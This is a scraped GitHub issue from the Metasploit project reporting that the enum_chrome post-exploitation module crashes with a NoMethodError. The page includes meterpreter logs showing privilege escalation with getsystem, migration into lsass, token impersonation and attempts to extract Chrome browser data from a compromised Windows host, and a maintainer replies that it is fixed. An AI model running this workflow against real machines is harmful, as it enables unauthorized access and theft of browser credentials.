Metasploit-framework: enum_chrome: NoMethodError undefined method for nil:NilClass

Created on 12 Jul 2017  路  6Comments  路  Source: rapid7/metasploit-framework

hello guys
anyone got a fix for this issue with post/windows/gather/enum_chrome?

msf exploit(handler) > sessions -i 7
[*] Starting interaction with 7...

meterpreter > getuid
Server username: AUTORITE NT\Syst锟絤e
meterpreter > background
[*] Backgrounding session 7...
msf exploit(handler) > use post/windows/gather/enum_chrome
msf post(enum_chrome) > show options

Module options (post/windows/gather/enum_chrome):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   MIGRATE  false            no        Automatically migrate to explorer.exe
   SESSION                   yes       The session to run this module on.

msf post(enum_chrome) > set session 7
session => 7
msf post(enum_chrome) > set migrate true
migrate => true
msf post(enum_chrome) > run

[*] Impersonating token: 2192
[-] Cannot impersonate: stdapi_sys_config_steal_token: Operation failed: Access is denied.
[*] current PID is 1140. migrating into explorer.exe, PID=2192...
[*] Running as user 'ASUS-PC\ASUS'...
[*] Extracting data for user 'ASUS'...
[-] Post failed: NoMethodError undefined method `[]' for nil:NilClass
[-] Call stack:
[-]   /usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb:376:in `download_file'
[-]   /usr/share/metasploit-framework/modules/post/windows/gather/enum_chrome.rb:195:in `block in extract_data'
[-]   /usr/share/metasploit-framework/modules/post/windows/gather/enum_chrome.rb:183:in `each'
[-]   /usr/share/metasploit-framework/modules/post/windows/gather/enum_chrome.rb:183:in `extract_data'
[-]   /usr/share/metasploit-framework/modules/post/windows/gather/enum_chrome.rb:327:in `block in run'
[-]   /usr/share/metasploit-framework/modules/post/windows/gather/enum_chrome.rb:325:in `each'
[-]   /usr/share/metasploit-framework/modules/post/windows/gather/enum_chrome.rb:325:in `run'
[*] Post module execution completed

meterpreter > sysinfo
Computer        : ASUS-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : fr_FR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

================

Metasploit Version: (apt-get install metasploit-framework)
Framework: 4.14.27-dev
Console : 4.14.27-dev

Remarks:
set MIGRATE false ===> same error
run post/windows/gather/enum_chrome (directly from meterpreter) ===> same error
migrated to explorer.exe manually ===> same error
It used to work before I did the last update

Thanks

bug library meterpreter

Most helpful comment

Thanks for the report! Should be fixed in latest master and will go out in the next release.

All 6 comments

I got the same error yesterday. Add the following line in method File.downloadFile declared in /usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb

opts = {} if opts.nil?

well, I replaced file.rb with the new one....but now I get Access is denied

msf exploit(handler) > sessions -i 6
[*] Starting interaction with 6...

meterpreter > getuid
Server username: AUTORITE NT\Syst锟絤e
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > pgrep lsass
812
meterpreter > migrate 812
[] Migrating from 6068 to 812...
[
] Migration completed successfully.
meterpreter > run post/windows/gather/enum_chrome

[*] Impersonating token: 2192
[-] Cannot impersonate: stdapi_sys_config_steal_token: Operation failed: Access is denied.
[-] Post failed: Rex::Post::Meterpreter::RequestError stdapi_sys_config_getuid: Operation failed: Access is denied.
[-] Call stack:
[-] /usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb:34:in getuid' [-] /usr/share/metasploit-framework/lib/msf/core/post/windows/priv.rb:110:inis_system?'
[-] /usr/share/metasploit-framework/modules/post/windows/gather/enum_chrome.rb:299:in `run'
meterpreter > getuid
[-] stdapi_sys_config_getuid: Operation failed: Access is denied.
meterpreter > sysinfo
Computer : ASUS-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : fr_FR
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >

Thanks for the report! Should be fixed in latest master and will go out in the next release.

This is a closed issue. Please open a new issue. When you post in a new open issue, make sure to include what version of metasploit you are running, and the language of the target win10 system. Also the meterpreter (php/x64/etc) you are using.I remember seeing something like this and believe it was fixed, so make sure your msf is up to date.

袦械褌邪褋锌谢芯泄褌 胁械褉褋懈褟 5.0.86 褌械 卸械 芯褕懈斜泻邪 薪械 屑芯卸械褌 褉邪褋褕懈褎褉芯胁邪褌褜

@Sergeibakanov Please create a new issue - https://github.com/rapid7/metasploit-framework/issues/new

Was this page helpful?
0 / 5 - 0 ratings

Related issues

apollyonfirstcome picture apollyonfirstcome  路  42Comments

kontenbonker picture kontenbonker  路  26Comments

Jab2870 picture Jab2870  路  26Comments

timwr picture timwr  路  42Comments

ortholinux picture ortholinux  路  55Comments